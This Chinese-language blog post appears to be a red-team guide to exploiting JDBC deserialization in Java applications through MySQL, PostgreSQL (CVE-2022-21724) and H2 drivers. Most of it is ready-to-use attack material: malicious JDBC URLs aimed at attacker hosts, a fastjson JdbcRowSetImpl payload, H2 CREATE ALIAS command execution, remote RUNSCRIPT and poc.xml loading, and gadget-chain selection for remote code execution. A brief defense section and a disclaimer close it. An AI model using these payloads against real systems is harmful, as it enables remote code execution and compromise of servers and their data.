文章总结: 本文详细分析了JDBC反序列化在实战中的利用场景与攻击链。核心前置条件是攻击者能控制JDBCURL,常见入口包括fastjsonautoType、配置注入及框架参数透传。攻击分为两段:第一段通过驱动反序列化投递payload,第二段依赖gadget链实现RCE。文章具体介绍了MySQL和PostgreSQL驱动的利用方法,包括版本差异、参数配置及触发逻辑,并提供了测试代码示例。 综合评分: 89 文章分类: 渗透测试,漏洞分析,红队,内网渗透,WEB安全
JDBC反序列化如何在实战中进行决策以及利用
原创
苦艾印图 苦艾印图
苦艾印图
2026年8月25日 11:15 青海
在小说阅读器读本章
去阅读
1. 利用场景总览
1.1 什么时候用(攻击场景定位)
JDBC 反序列化的核心前置条件是:攻击者能控制传给 DriverManager.getConnection() / DataSource 的 JDBC URL(connection string)。出现这种情况的典型入口:
| 入口 | 说明 |
| — | — |
| fastjson autoType | 最经典。@type 指定 JdbcRowSetImpl,dataSourceName 可控即等于 JDBC URL 可控 |
| 配置注入 | application.yml 、Druid/Nacos 配置、SnakeYAML、Spring Boot 配置解析点被控制 |
| 框架自带 JDBC URL 参数透传 | 一些工具/框架允许用户填”数据库连接”字段,未过滤 |
1.2 其他数据源可被控制的场景
| 类别 | 场景 |
| — | — |
| 反序列化入口 | fastjson JdbcRowSetImpl(最经典)、Jackson polymorphic、XStream/hessian/kryo(dataSourceName 可控) |
| 配置注入 | Spring application.yml/application.properties、Spring Cloud Config / Nacos / Apollo、Druid connection-properties、SnakeYAML、SpEL/EL |
| 框架透传 | Spring Boot DataSource、MyBatis/MyBatis-Plus 动态数据源、ShardingSphere dataSource.url、HikariCP/Druid jdbcUrl、JDBC URL 参数 & 注入 |
| 其他驱动 | H2 Console(8082)、PostgreSQL socketFactory/sslfactory |
2. 攻击链
2.1 完整结构
┌────────── 第一段:JDBC 反序列化(投递通道)──────────┐│ URL 参数 → 驱动反序列化 readObject() → 读出字节对象 │└────────── 第二段:gadget 链(真正的炸药)────────────┘ readObject() 读出的对象 → 触发 gadget 链(CC/CB/URLDNS...) → Runtime.exec() / JNDI / DNS 探测 → RCE
第一段是”通道”,第二段才是”炸药”。JDBC 反序列化只保证”有字节被 readObject()“,能否变成 RCE 全看第二段的 gadget 链 + JDK/classpath 环境。
完整攻击条件叠加:
① URL 可控(数据源配置被控 / 参数注入)② 驱动版本匹配(MySQL 5.1.x 或 8.0.x 参数对 / PG 见 2.2.4 节版本差异)③ 恶意 server 返回 AC ED 00 05 BLOB payload④ classpath 有可用的 gadget 链(CC3.x / CB / 纯 JDK)⑤ JDK 版本不影响 JNDI 链(≥8u191 时 JNDI 失效,靠本地 gadget)⑥ 命令能执行且能被观察到(出网/回显)
缺一个,链路就断。
2.2 数据源配置
MySQL —— interceptor 触发链路
// 5.1.x 写法:statementInterceptorsjdbc:mysql://attacker:3306/db?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
// 8.0.x 写法:queryInterceptors(包名/接口全变)jdbc:mysql://attacker:3306/db?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
连接建立 → 执行任意 SQL(驱动初始化自带 SELECT @@session...) → preProcess(): 先 SHOW SESSION STATUS 存 preExecuteValues → SQL 执行 → postProcess(): 再 SHOW SESSION STATUS 存 postExecuteValues → 逐行 rs.getObject(2) 拿第二列(Variable_value) → 值以 AC ED 00 05 开头 且 autoDeserialize=true → ObjectInputStream.readObject() ← 反序列化点
源码依据:
- 5.1.47
ServerStatusDiffInterceptor.postProcess→Util.resultSetToMap→rs.getObject(2) - 8.0.13
ResultSetImpl.getObject()反序列化分支(BLOB/VARBINARY 类型):
case BINARY: case VARBINARY: case TINYBLOB: case MEDIUMBLOB: case LONGBLOB: case BLOB: if (field.isBinary() || field.isBlob()) { if (autoDeserialize) { if (data[0]==0xAC && data[1]==0xED) { // 魔数检测 ObjectInputStream objIn = new ObjectInputStream(...); objIn.readObject(); // ← 反序列化点
MySQL JDBC
| 驱动版本 | interceptor 类名 | URL 参数名 | 反序列化落点 |
| — | — | — | — |
| 5.1.x | com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor | statementInterceptors | getObjectDeserializingIfNeeded (对 VARCHAR 也反序列化) |
| 8.0.0~8.0.32 | com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor | queryInterceptors | ResultSetImpl switch 里 VARCHAR 走 getString,只有 BLOB 才反序列化 |
| 8.0.33 | 类仍存在(src/main/user-impl) | queryInterceptors | 同 8.0.x,需显式配置 + BLOB 列 |
-
MySQL 服务端版本完全无关
:驱动只读握手包里的版本字符串,恶意 server 声明
5.7.16即可绕过versionMeetsMinimum(5,0,2)(5.1.47MysqlIO.java:1054)。 -
服务端返回格式是硬条件
:
SHOW SESSION STATUS第二列必须声明为 BLOB/VARBINARY(field.isBinary()||isBlob()为 true),payload 字节以AC ED开头;若声明为 VARCHAR → 驱动getString()直接返回,不反序列化
依赖:
<!-- 仅用于演示"数据源配置里的 JDBC URL 写法", 目标驱动版本决定了 URL 里的参数名(statementInterceptors vs queryInterceptors) --> <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>8.0.19</version> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
测试:
import java.sql.*;public class Main { public static void main(String[] args) throws Exception { String url = "jdbc:mysql://127.0.0.1:61071/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC31_calc"; try { Class.forName("com.mysql.jdbc.Driver"); DriverManager.getConnection(url); } catch (Exception e) { e.printStackTrace(); } }}
payload:
jdbc:mysql://127.0.0.1:12821/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC31_calc
利用工具-fake-mysql-gui-0.0.4.jar
#
PostgreSQL JDBC(CVE-2022-21724)
触发链(本地复现代码实际走的这条)
恶意 JDBC URL: jdbc:postgresql://127.0.0.1:34432/test/?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://attacker/poc.xml │ ▼DriverManager.getConnection(url) → SocketFactoryFactory.getSocketFactory(Properties) # 读取 socketFactory / socketFactoryArg → ObjectFactory.instantiate(classname, info, tryString=true, stringarg=socketFactoryArg) → Class.forName("org.springframework.context.support.ClassPathXmlApplicationContext") → 构造器三选一: (Properties) → (String) → 无参 # 找到 (String) 构造器 → ctor.newInstance("http://attacker/poc.xml") # 执行构造函数 → ClassPathXmlApplicationContext(String) 内部加载远程 XML → XML 里 <bean> 定义(如 ProcessBuilder + init-method) 被 Spring 解析 → 触发命令执行 → RCE ✅
其他注意:
-
classpath 必须有 spring-context
(
ClassPathXmlApplicationContext); -
参数名大小写敏感(
socketFactory/socketFactoryArg); -
实例化发生在连接建立阶段(
ConnectionFactoryImpl.tryConnect),不需要真正连上 PG 服务端(恶意 XML 是否可达即可)。
依赖:
<!-- PostgreSQL JDBC 驱动(连接测试用) --> <dependency> <groupId>org.postgresql</groupId> <artifactId>postgresql</artifactId> <version>42.2.24</version> </dependency> <!-- spring-context:ClassPathXmlApplicationContext 所在库(CVE-2022-21724 的 RCE 载体) --> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context</artifactId> <version>5.3.20</version> </dependency>
测试:
public class PostgresDataSourceDemo {
/** * 恶意 JDBC URL —— 模拟攻击者在数据源配置里填的值。 * socketFactoryArg 需指向攻击者托管的 poc.xml */ private static final String MALICIOUS_URL = "jdbc:postgresql://127.0.0.1:18851/test/?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://127.0.0.1:18851/pSCenFFo.xml";
public static void main(String[] args) throws Exception { System.out.println("[*] 模拟攻击者控制数据源配置 -> 触发 PostgreSQL 连接");
String url = (args.length > 0 && !args[0].isEmpty()) ? args[0] : MALICIOUS_URL; System.out.println("[*] 填入恶意 dataSourceName:"); System.out.println(" " + url);
try { Class.forName("org.postgresql.Driver"); DriverManager.getConnection(url); System.out.println("[!] 连接成功"); } catch (Exception e) { System.out.println("[!] 连接异常(预期内:未托管远程 XML / 无 spring-context / 无 PG server):"); e.printStackTrace(); } }}
H2
H2 是纯 Java 嵌入式关系型数据库(内存/文件模式,jdbc:h2:mem:test),SQL 图灵完备。三类利用:
-- ① CREATE ALIAS 直接执行(代码执行,非反序列化)CREATE ALIAS IF NOT EXISTS SHELLEXEC AS'String shellexec(String cmd) throws java.io.IOException { java.lang.Runtime.getRuntime().exec(cmd); return ""; }';CALL SHELLEXEC('calc');
-- ② INIT=RUNSCRIPT 远程脚本jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://attacker/poc.sql'
| 维度 | MySQL/PG | H2 |
| — | — | — |
| 本质 | 反序列化(驱动 readObject) | 代码执行(ALIAS)/ JNDI |
| 触发前提 | URL 可控 + 恶意 server | URL 可控 + 能提交 SQL,或 H2 Console 开放 |
| 常见入口 | fastjson JdbcRowSetImpl、Druid | H2 Console(8082)、Spring 配置注入 |
2.3 攻击动作
恶意 MySQL server(Python 骨架)
协议 4 要点(对应源码):
- 握手版本 ≥ 5.0.2(
versionMeetsMinimum(5,0,2)硬门槛,写5.7.16); - 连接后驱动自带初始化查询会触发 interceptor(
SELECT @@session.auto_increment_increment); - 响应
SHOW SESSION STATUS时第二列Variable_value必须声明 BLOB/VARBINARY; - 行数据里放 ysoserial 字节(
AC ED 00 05开头)。
投递 payload
fastjson 版:
{ "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "jdbc:mysql://attacker:3306/db?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoCommit": true}
Spring 配置版:
spring: datasource: driver-class-name: com.mysql.jdbc.Driver url: jdbc:mysql://attacker:3306/db?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
纯 JDBC 客户端(本地复现用,模拟 数据源配置):
String url = "jdbc:mysql://127.0.0.1:61071/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC31_calc";Class.forName("com.mysql.jdbc.Driver");DriverManager.getConnection(url);
#
3. 与 JDK / gadget 链关系
3.1 为什么”JDK 版本挂钩” —— 三个层面
-
gadget 链依赖 JDK 内部类
:CC/CB 中转依赖第三方库,但终点往往要 JDK 的
Runtime等;纯 JDK 链(URLDNS)只靠 JDK 内置类,也受 JDK 版本影响(类增删/行为变化)。 -
JDK 9+ / 8u191+ 引入
ObjectInputFilter:可设反序列化黑白名单(默认不启用,需显式
setObjectInputFilter)。 -
JNDI 注入受 JDK 版本严格限制
(最直接体现):
| JDK 版本 | JNDI 注入能力 |
| — | — |
| < 8u191 / < 7u201 / < 6u211 | 远程加载 class(LDAP/RMI 返回远程恶意类)→ RCE |
| ≥ 8u191 / ≥ 7u201 / ≥ 6u211 | 远程加载 class 被禁用(com.sun.jndi.ldap.object.trustURLCodebase=false)→ 只能靠”返回反序列化对象 + 本地 gadget” |
3.2 常见 gadget 链选择(取决于目标 classpath)
| Gadget 链 | 需要的库 | 触发终点 | 备注 |
| — | — | — | — |
| CC1 | commons-collections 3.x | InvokerTransformer → Runtime.exec | 经典 |
| CC6 | commons-collections 3.x | LazyMap + InvokerTransformer | 最常用(稳定) |
| CC4 | commons-collections 4.x | TiedMapEntry + InvokerTransformer | 4.x 专属 |
| CB1 | commons-beanutils + commons-collections 3.1+ | BeanComparator → Runtime.exec | 很多框架自带 CB |
| URLDNS | 纯 JDK | java.net.URL.hashCode → DNS 探测 | 无第三方依赖,只能探测不能直接 RCE |
| JNDI | 纯 JDK | InitialContext.lookup → 远程类/反序列化 | 受 JDK 版本限制 |
实战判断:
- 目标 classpath 有 commons-collections 3.x → CC6;
- 有 commons-beanutils(Spring 全家桶基本都有)→ CB1;
- 纯 JDK 环境(无第三方库)→ 只能 URLDNS(探测) 或 JNDI(受版本限制);
- 反序列化时
readObject()遇到 gadget 类不在 classpath → ClassNotFoundException(链路断)。
4. 防御建议
-
URL 参数白名单
:封装 JDBC 连接层,禁止用户参数覆盖
autoDeserialize、queryInterceptors、statementInterceptors、socketFactory、sslfactory、detectCustomCollations等危险项。 -
fastjson
:升级 ≥ 1.2.83(或换
fastjson2),默认关 autoType,绝不全局开启autoTypeSupport。 -
数据库端口出网管控
:限制 DB 端口到外部的连接(削弱”恶意 server”前提)。
-
JDK 升级 ≥ 8u191
并移除本地可用的危险 gadget 库(commons-collections 等)。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:苦艾印图 苦艾印图 苦艾印图《JDBC反序列化如何在实战中进行决策以及利用》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论